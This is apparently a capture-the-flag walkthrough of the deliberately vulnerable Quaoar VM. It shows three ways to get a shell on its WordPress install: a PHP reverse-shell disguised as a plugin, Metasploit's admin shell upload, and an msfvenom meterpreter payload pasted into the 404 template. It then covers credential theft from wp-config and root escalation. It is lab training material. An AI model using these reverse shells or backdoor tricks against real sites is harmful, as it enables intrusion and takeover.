Quaoar VM Walkthrough- (Vulnhub.com) Three Different Techniques to exploit a machine

Hackfest 2016- Quaoar VMWalkthrough / Writeup

Vulnhub Machine

This VM was made for hack fest 2016 and is listed as very easy. I had this one done in under an two hour with three different Techniques.

Description

Welcome to Quaoar This is a vulnerable machine which is created for http://hackfest.ca/

Difficulty : Very Easy

Tips:

Here are the tools you can research to help you to own this machine. nmap, dirb / dirbuster / BurpSmartBuster, nikto, wpscan, hydra Your Brain Coffee Google :)

Goals: This machine is intended to be doable by someone who is interested in learning computer security There are 3 flags on this machine 1. Get a shell 2. Get root access 3. There is a post exploitation flag on the box

Different Techniques to Exploit :

Reverse Shell Plugin Upload

Metasploit Wordpress Exploit Payload

Payload post in 404 page

So Start with 1st Technique:-

• Reverse Shell Plugin Upload

Let’s get started with old faithful, arp-scan for it’s network location.

Command : arp-scan -l

Network Scan through Arp-scan tool

Followed by the obligatory NMAP, lots of interesting things going on here…

Command : nmap -p- (ip)

Scan Ip with NMAP

Although there was lots to see, I went straight for port 80 due to the self proclaimed ‘very easy’ difficulty and fired up nikto. Immediately I can see this is a word press install.

Command : nikto -h (ip)

Nikto Scan in 80 port

So firing up WPScan and enumerating for usernames. we get the default admin entry.

Command : Wpscan — url www.example.com — enumerate u

Where there is a default admin entry there is highly likely to be a default admin password (admin:admin). I didn’t even look at the landing page at this point, going directly to /wordpress/wp-login.php and trying out my theory..

Wordpress login with default credentials

And as you can see we get straight into the WordPress portal..

Finally admin page access

At this stage I decided to create a WordPress plug-in that I could use to generate a reverse shell. Taking the out of the box php back-door from Kali (/usr/share/webshell/php/php-reverse-shell.php) and making the following amendments to it…

Change the ip (local ip) and port on reverse shell php and zip the updated file.

Update the ip and port in reverse shell

The headers are required so when you zip the php file , it will recognise it as a WordPress plug-in and install it. You can see in the below screen grab rev.zip

Upload zip file and Click on install

But if you go to installed plug-ins after this you will see it has actually installed with the plug-in name. Great for obfuscating your back door.

Check on Plugin page as pwn name

Netcat its on listen mode

Command : nc -nlvvp port(4444)

Activating the plug-in from here and catching it with a net-cat listener.

Wow :) Session connected

A recursive lookup through the /home directories and we find our first flag.

Got First Flag :)

Now I started this post by saying it had many similarities to Stapler, well one of this similarities was the wp-config containing mysql credentials. The thing with these creds is that they indicate not mysql but actual root credentials.

Sql Credentials steal from wp-config file

So assuming shared credentials between the two accounts:

Try to root and we are in as root. There is a flag in /root/ and we already had the other.

Command : su root

Grep the Second Flag

And for the last flag, Check in cron php file.

Location : cd /etc/cron.d/

Command : cat php5

Finally got third Flag :)

• Metasploit Wordpress Payload Exploit

Using the admin username, i was able to access the wordpress admin dashboard with the password ‘admin’.

From here, it was then possible to get a reverse shell using metasploit (exploit/unix/webapp/wp_admin_shell_upload).

Command : use exploit/unix/webapp/wp_admin_shell_upload

Command : show options

Reverse shell upload using metasploit wordpress exploit

Finally Session created

After Session created follow above steps to get the flag :)

• Reverse TCP Payload post in 404 page

I created a php file with the meterpreter payload as shown in the following image:

Command : msfvenom -p php/meterpreter/reverse_tcp LHOST=[ip] LPORT=[PORT] -f raw > shell.php

Create a php shell payload

Copy the php shell code

Then I added the shell code to the 404 page using the wordpress theme editor.

Wordpress Admin > Appearance > Editor > Template

Paste php shell code

I started msfconsole and set up the listener.

Command :

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

Once I finished, I just forced a 404 error on wordpress by fetching an unexisting post id.

Yupieee :) I got a shell to the server

So now follow 1st Technique to grep flags :)

Job Done……………..

Hope you like it , Thanks :)